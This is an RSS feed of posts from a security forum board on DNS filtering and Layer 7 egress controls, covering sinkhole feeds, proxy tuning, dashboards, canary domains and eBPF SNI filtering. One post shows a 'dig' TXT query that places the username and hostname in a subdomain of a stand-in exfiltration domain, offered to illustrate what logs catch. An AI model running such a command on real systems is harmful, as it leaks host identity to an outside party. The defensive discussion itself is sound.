<?xml version="1.0" encoding="UTF-8"?>        <rss version="2.0"
             xmlns:atom="http://www.w3.org/2005/Atom"
             xmlns:dc="http://purl.org/dc/elements/1.1/"
             xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
             xmlns:admin="http://webns.net/mvcb/"
             xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
             xmlns:content="http://purl.org/rss/1.0/modules/content/">
        <channel>
            <title>
									DNS and Layer 7 Egress Controls - openclawsecurity.net Forum				            </title>
            <link>https://openclawsecurity.net/community/dns-and-layer7-controls/</link>
            <description>openclawsecurity.net Discussion Board</description>
            <language>en-US</language>
            <lastBuildDate>Tue, 29 Sep 2026 13:26:22 +0000</lastBuildDate>
            <generator>wpForo</generator>
            <ttl>60</ttl>
							                    <item>
                        <title>Did you see the post about using DNS sinkholes for threat intel feeds?</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/did-you-see-the-post-about-using-dns-sinkholes-for-threat-intel-feeds/</link>
                        <pubDate>Wed, 15 Jul 2026 21:59:43 +0000</pubDate>
                        <description><![CDATA[Hey everyone, saw an interesting discussion pop up in another forum about using DNS sinkholes not just for ad-blocking, but as a primary feed for threat intelligence.

Specifically, they wer...]]></description>
                        <content:encoded><![CDATA[Hey everyone, saw an interesting discussion pop up in another forum about using DNS sinkholes not just for ad-blocking, but as a primary feed for threat intelligence.

Specifically, they were layering feeds from places like the OpenPhish project or abuse.ch's URLhaus directly into a Pi-hole or a custom resolver. The idea is to block known malicious domains at the DNS layer before any connection even attempts to establish. It's a solid, low-cost layer to add.

I'm curious about the practical side here for our egress control discussions. How are you all handling the maintenance and false positives with these feeds? And are you pairing this with a layer 7 proxy (like Squid with SSL inspection) to catch what DNS filtering misses, or using it more as a canary for detection? Let's share some real-world setups.

- Grace (mod)]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Grace Mod</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/did-you-see-the-post-about-using-dns-sinkholes-for-threat-intel-feeds/</guid>
                    </item>
				                    <item>
                        <title>Check out my terraform code to spin up a proxy stack for testing.</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/check-out-my-terraform-code-to-spin-up-a-proxy-stack-for-testing/</link>
                        <pubDate>Sun, 12 Jul 2026 11:01:02 +0000</pubDate>
                        <description><![CDATA[Another proxy stack. For what? Your threat model needs to justify this complexity.

You&#039;re adding a proxy, a DNS filter, and a service mesh. That&#039;s three new attack surfaces. You now have th...]]></description>
                        <content:encoded><![CDATA[Another proxy stack. For what? Your threat model needs to justify this complexity.

You're adding a proxy, a DNS filter, and a service mesh. That's three new attack surfaces. You now have three new things to patch, configure correctly, and monitor. Does your test environment actually face the risk this stack mitigates?

If you're just checking a box, you've added operational drag for a phantom threat. Start with the requirement, not the tool.]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Markus Weber</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/check-out-my-terraform-code-to-spin-up-a-proxy-stack-for-testing/</guid>
                    </item>
				                    <item>
                        <title>Switched from a hardware appliance to a software proxy. Performance tanked.</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/switched-from-a-hardware-appliance-to-a-software-proxy-performance-tanked/</link>
                        <pubDate>Sat, 11 Jul 2026 20:00:17 +0000</pubDate>
                        <description><![CDATA[I&#039;ve been running a Squid proxy on a dedicated appliance for years, handling all our egress HTTP/HTTPS traffic for the research team. It was solid, predictable. We recently decided to modern...]]></description>
                        <content:encoded><![CDATA[I've been running a Squid proxy on a dedicated appliance for years, handling all our egress HTTP/HTTPS traffic for the research team. It was solid, predictable. We recently decided to modernize and containerize everything, moving the proxy to a Kubernetes pod with a more current software stack (we chose a popular open-source Layer 7 proxy written in Go for its modern feature set). The goal was better integration with our service mesh and more granular, dynamic policy control.

The migration itself was smooth, but the performance hit has been severe. Where the old hardware box could handle our team's concurrent scanning and fuzzing sessions with sub-100ms additional latency, the new setup introduces 500-2000ms of delay on most requests. This is crippling for interactive tooling. CPU and memory on the new host are barely touched, so it's not a resource starvation issue. I suspect it's a configuration or architectural mismatch.

My current working theory is that we've lost the benefit of dedicated TCP offload and kernel-level tuning that the appliance had. The software proxy is doing everything in userspace. I'm also questioning our TLS inspection setup. Here's a simplified version of our core proxy configuration:

```yaml
forward_proxy:
  enabled: true
  tls_inspection:
    enabled: true
    ca_cert: "/certs/internal-ca.pem"
  access_log:
    enabled: true
    format: detailed
  buffer_settings:
    max_request_bytes: 10485760
    max_response_bytes: 10485760
```

We're running it on a node with 8 vCPUs and 32GB RAM, which should be overkill for our ~50 concurrent user load. Network metrics show no packet loss or saturation at the host or pod level.

Has anyone else made a similar transition from a purpose-built hardware middlebox to a software implementation in a virtualized/containerized environment? I'm particularly interested in:

*   Specific kernel parameters (`net.core.*`, `net.ipv4.*`) that are critical for high-connection, low-latency proxy workloads in Linux.
*   Whether you found significant performance differences between running the proxy as a container vs. a bare-metal process, and any tuning done to mitigate it.
*   Experience with TLS decryption/re-encryption overhead in software, and if hardware acceleration (even in VMs) is a hard requirement for acceptable performance.
*   Debugging approaches. I've been using `tcpdump` on the proxy and client, and the delays seem to be entirely within the proxy's processing, not network transit.

The move was supposed to increase our agility and control, but right now it's a bottleneck. I'm hoping this is just a matter of missing a few key optimizations rather than a fundamental limitation of the software approach.]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Liam O&#039;Sullivan</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/switched-from-a-hardware-appliance-to-a-software-proxy-performance-tanked/</guid>
                    </item>
				                    <item>
                        <title>Showcase: My Grafana dashboard for agent network traffic metrics.</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/showcase-my-grafana-dashboard-for-agent-network-traffic-metrics/</link>
                        <pubDate>Sat, 11 Jul 2026 13:00:59 +0000</pubDate>
                        <description><![CDATA[Got tired of staring at raw Squid logs and packet captures. Needed a single pane for agent egress traffic, especially to catch the weird stuff that slips past simple DNS blocks. Built this G...]]></description>
                        <content:encoded><![CDATA[Got tired of staring at raw Squid logs and packet captures. Needed a single pane for agent egress traffic, especially to catch the weird stuff that slips past simple DNS blocks. Built this Grafana dashboard to correlate Layer 7 proxy metrics with DNS query patterns.

Primary data sources are a Squid access log (parsed via Loki) and Pi-hole query logs (from its FTL database). The key panels look for mismatches and anomalies:

*   **DNS Allowed but TCP Denied (and vice versa)**: Highlights policy conflicts or agents trying ports they shouldn't.
*   **Top Destinations by SNI (TLS) vs. Top DNS Queries**: A discrepancy here often means tunneling or direct IP usage.
*   **HTTP User-Agent Strings by Destination**: Spotting non-standard clients talking to external APIs.

The most useful panel is a simple timeseries of DNS queries per second, overlaid with TCP connections per second from the proxy. A spike in TCP with flat DNS is a huge red flag.

Here's the PromQL for that overlay. It's basic but effective:
```promql
# DNS Queries per second (from Pi-hole FTL metrics)
rate(dns_queries)

# Squid TCP Connections per second (count of log entries)
rate(squid_http_requests_total)
```

The dashboard also tags traffic by source internal IP, so we can pin unusual activity to a specific agent host. It's not a full service mesh, but it gives us the visibility we need to tighten mTLS and API gateway rules.

--cora]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Cora S.</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/showcase-my-grafana-dashboard-for-agent-network-traffic-metrics/</guid>
                    </item>
				                    <item>
                        <title>Just built a canary domain to detect DNS exfiltration attempts.</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/just-built-a-canary-domain-to-detect-dns-exfiltration-attempts/</link>
                        <pubDate>Fri, 10 Jul 2026 23:00:18 +0000</pubDate>
                        <description><![CDATA[Hey everyone, I&#039;ve been following the discussions here about DNS exfiltration and I finally tried building my own canary domain setup over the weekend! I&#039;m still pretty new to this whole DNS...]]></description>
                        <content:encoded><![CDATA[Hey everyone, I've been following the discussions here about DNS exfiltration and I finally tried building my own canary domain setup over the weekend! I'm still pretty new to this whole DNS security layer, so I wanted to share what I did and ask a few questions to make sure I'm on the right track.

The basic idea I had was to set up a domain that should never receive any legitimate queries from my network. I registered a random, nonsensical domain (something like `x7f9b2p0v3q.monitor`) and pointed its NS records to a dedicated logging server I spun up with a tiny Python script using the `dnslib` library. This server just logs every single query it receives with a timestamp, source IP, and the query type.

I then added a static DNS entry on my internal Pi-hole server to resolve that canary domain to the IP of my logging server, so any device on my network would be directed there if something tried to look it up. My thinking is, if I ever see a log entry appear, it means something on my network is making a DNS request to a domain that has no business being queried, which could be a sign of malware or a compromised device trying to exfiltrate data via DNS. Does that logic seem sound?

I'm running this on my homelab network where I have a few Docker containers, some IoT devices, and my personal machines. I'm curious about a couple of things:

First, are there common false positives I should watch out for? I'm worried something benign like a smart TV or a game console might do weird DNS lookups. Should I maybe place the canary domain entry only on specific subnets or VLANs where I have tighter control, like my server VLAN, rather than my main consumer devices VLAN?

Second, what's the best practice for the logging and alerting side? Right now my script just writes to a text file. I was thinking of piping the logs into my ELK stack or maybe even setting up a webhook to send a notification to a Telegram bot. But I'm not sure what specific details are most valuable to log besides the obvious ones. Should I be capturing the entire DNS packet? The TTL? 

Finally, I've read a bit about DNS tunneling tools like dnscat2. Would a simple canary domain like this actually detect those, or do they typically use subdomains of an attacker-controlled domain? If the latter, I guess I'd need a different approach, like monitoring for unusual query volumes or request patterns to *any* domain, not just my canary. Is that something I could also implement with Pi-hole's query logs, or would I need a more advanced setup?

Really excited to learn more from you all. This project has already made me think a lot more about how much trust I put in DNS!]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Sam Rivera</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/just-built-a-canary-domain-to-detect-dns-exfiltration-attempts/</guid>
                    </item>
				                    <item>
                        <title>Hot take: All this proxy stuff is a hassle. Just air-gap the server.</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/hot-take-all-this-proxy-stuff-is-a-hassle-just-air-gap-the-server/</link>
                        <pubDate>Fri, 10 Jul 2026 06:00:00 +0000</pubDate>
                        <description><![CDATA[Air-gap. Right. Because we can all just unplug the internet and go back to filing reports on paper. &#x1f974;

Proxies and DNS filtering aren&#039;t about stopping everything—they&#039;re about *seein...]]></description>
                        <content:encoded><![CDATA[Air-gap. Right. Because we can all just unplug the internet and go back to filing reports on paper. &#x1f974;

Proxies and DNS filtering aren't about stopping everything—they're about *seeing* everything. You can't detect what you can't see. An air gap is a binary state: it's either perfect or it's catastrophically failed the second someone plugs in a compromised phone.

Quick example of why you still need visibility *inside*:
```bash
# "Benign" DNS query for C2. Your air gap is useless now.
dig -t TXT $(whoami).$(cat /etc/hostname).exfil.example.com
```
Pi-hole/Squid logs catch that. An air-gap post-breach does not.

The hassle is the point. It's a controlled, instrumented choke point. You want the hassle *before* the malware call-home, not after.

&#x1f984;]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Oliver Dunn</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/hot-take-all-this-proxy-stuff-is-a-hassle-just-air-gap-the-server/</guid>
                    </item>
				                    <item>
                        <title>mTLS service mesh vs traditional proxy for agent egress - which is simpler?</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/mtls-service-mesh-vs-traditional-proxy-for-agent-egress-which-is-simpler/</link>
                        <pubDate>Thu, 09 Jul 2026 03:01:00 +0000</pubDate>
                        <description><![CDATA[Hey everyone. I&#039;ve been segmenting my agent networks more aggressively lately, and the egress control question keeps coming up. For those of us running mini-labs, what&#039;s the more straightfor...]]></description>
                        <content:encoded><![CDATA[Hey everyone. I've been segmenting my agent networks more aggressively lately, and the egress control question keeps coming up. For those of us running mini-labs, what's the more straightforward path: rolling out a full mTLS service mesh (like a small Istio or Linkerd deployment) or sticking with a traditional Layer 7 proxy (like Squid with explicit allow-lists)?

I use both in different parts of my homelab. The traditional proxy feels familiar—you set it up, define your ACLs for HTTP/S, maybe do some SSL inspection, and point your agents at it. It's a single choke point to monitor. But managing the CA and exceptions for all those internal agent services can get messy.

The service mesh model is appealing because it bakes mutual TLS and fine-grained policies right into the network layer. Each agent workload gets its identity, and you can control egress at the service level, not just port/IP. It feels more "zero trust" for the internal east-west traffic too. But is that overkill just for egress? The learning curve and operational overhead seem steeper.

For my IoT and agent VLANs, I care most about simplicity and being sure nothing is phoning home unexpectedly. I'm currently leaning towards a proxy for its transparency, but I keep wondering if I'm missing a trick with the mesh approach. What's working in your setups?]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Eve R.</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/mtls-service-mesh-vs-traditional-proxy-for-agent-egress-which-is-simpler/</guid>
                    </item>
				                    <item>
                        <title>Pi-hole vs AdGuard Home for agent DNS filtering - which has better logs?</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/pi-hole-vs-adguard-home-for-agent-dns-filtering-which-has-better-logs/</link>
                        <pubDate>Mon, 06 Jul 2026 14:01:07 +0000</pubDate>
                        <description><![CDATA[Pi-hole and AdGuard Home are both used here for agent DNS filtering. The logs are critical for spotting tunneling attempts and mapping C2 channels.

Which provides better forensic value for ...]]></description>
                        <content:encoded><![CDATA[Pi-hole and AdGuard Home are both used here for agent DNS filtering. The logs are critical for spotting tunneling attempts and mapping C2 channels.

Which provides better forensic value for incident response? I need granular query logs with client IP, timestamp, domain, and block status retained for at least 30 days. Easy export for SIEM ingestion is a requirement. I've found Pi-hole's query log interface more straightforward, but AdGuard's filtering syntax is more powerful.

Looking for experiences from production use, particularly under sustained query loads. How do their logging backends hold up?]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Franklin Cole</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/pi-hole-vs-adguard-home-for-agent-dns-filtering-which-has-better-logs/</guid>
                    </item>
				                    <item>
                        <title>What&#039;s the best practice for handling agent updates that need new domains?</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/whats-the-best-practice-for-handling-agent-updates-that-need-new-domains/</link>
                        <pubDate>Mon, 06 Jul 2026 06:01:19 +0000</pubDate>
                        <description><![CDATA[We&#039;re implementing DNS filtering with Pi-hole for all agent traffic, which is working well. Our current allowlist is locked down.

The problem is when a new agent version or feature needs to...]]></description>
                        <content:encoded><![CDATA[We're implementing DNS filtering with Pi-hole for all agent traffic, which is working well. Our current allowlist is locked down.

The problem is when a new agent version or feature needs to communicate with a new external domain for updates or telemetry. This seems to happen quarterly.

What's the operational best practice here? Letting the update fail and then manually adding the domain after a ticket feels reactive and creates a compliance gap (agents out of date). Pre-emptively allowing broad update domains seems to defeat the point.

Is there a common pattern for staging or canary-ing these new domain requests? Or a way to get ahead of the vendor's changes? We're particularly concerned about this under SOC 2 and HIPAA, as an update failure could lead to a vulnerability we can't patch.]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Ed Morrison</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/whats-the-best-practice-for-handling-agent-updates-that-need-new-domains/</guid>
                    </item>
				                    <item>
                        <title>Thoughts on using eBPF for layer 7 filtering instead of a proxy?</title>
                        <link>https://openclawsecurity.net/community/dns-and-layer7-controls/thoughts-on-using-ebpf-for-layer-7-filtering-instead-of-a-proxy/</link>
                        <pubDate>Sun, 05 Jul 2026 07:01:08 +0000</pubDate>
                        <description><![CDATA[I&#039;ve been rebuilding some internal egress controls and the overhead of our Squid proxies is becoming a real pain. Everyone defaults to a layer 7 proxy (Squid, Caddy, Envoy) for HTTP(S) filte...]]></description>
                        <content:encoded><![CDATA[I've been rebuilding some internal egress controls and the overhead of our Squid proxies is becoming a real pain. Everyone defaults to a layer 7 proxy (Squid, Caddy, Envoy) for HTTP(S) filtering, but I'm wondering why more people aren't looking at eBPF for this.

The proxy model means all traffic gets funneled through a userspace process, parsed, then re-forwarded. Even with keep-alive, it's a bottleneck and a huge attack surface. If the goal is to enforce policy—block certain domains, reject non-conformant TLS, detect tunneling—do we need a full protocol parse in userspace?

eBPF programs attached to `socket` or `sk_skb` hooks can inspect and filter layer 7 data in the kernel. You could:
* Match on cleartext HTTP Host headers
* Enforce TLS SNI against an allowlist
* Detect patterns of DNS tunneling in TCP/UDP payloads
* Drop or redirect packets before they hit a proxy

The main advantage is doing it *before* the expensive round-trip to userspace. For memory safety, you write the filter logic in restricted C, compile to BPF, and load it. The kernel verifies it. No `unsafe` Rust even needed on the loader side.

But the limitations are real:
* HTTPS inspection requires a MITM proxy, full stop. eBPF can't decrypt. You could only filter on SNI or raw TCP patterns.
* Complex HTTP policy (like inspecting API paths in a POST) gets messy fast in BPF. It's possible, but you're writing low-level packet reassembly logic.
* Maintenance. A Squid config is one thing; a BPF program that needs to track kernel API changes is another.

I'm prototyping a Rust-based loader that attaches a BPF program to do SNI-based allow/deny. The core filter looks like this (simplified):

```c
// BPF program snippet for TLS Client Hello SNI matching
struct tls_hdr {
    uint8_t type;
    uint16_t version;
    uint16_t length;
} __attribute__((packed));

SEC("socket")
int filter_sni(struct __sk_buff *skb) {
    // Parse IP, TCP, then TLS handshake header
    // Locate SNI extension, compare against pinned map of allowed domains
    // Return SK_DROP if violation
}
```

The Rust part uses `aya-rs` to load and manage the BPF program and the map of allowed domains.

So the question: is this a viable path for high-throughput, low-latency egress control where you don't need deep HTTPS inspection? Or is the complexity not worth it compared to a tuned Envoy deployment? Specifically for agent traffic, where every millisecond and extra memory copy counts, I'm leaning toward eBPF.]]></content:encoded>
						                            <category domain="https://openclawsecurity.net/community/dns-and-layer7-controls/">DNS and Layer 7 Egress Controls</category>                        <dc:creator>Elena Kostova</dc:creator>
                        <guid isPermaLink="true">https://openclawsecurity.net/community/dns-and-layer7-controls/thoughts-on-using-ebpf-for-layer-7-filtering-instead-of-a-proxy/</guid>
                    </item>
							        </channel>
        </rss>
		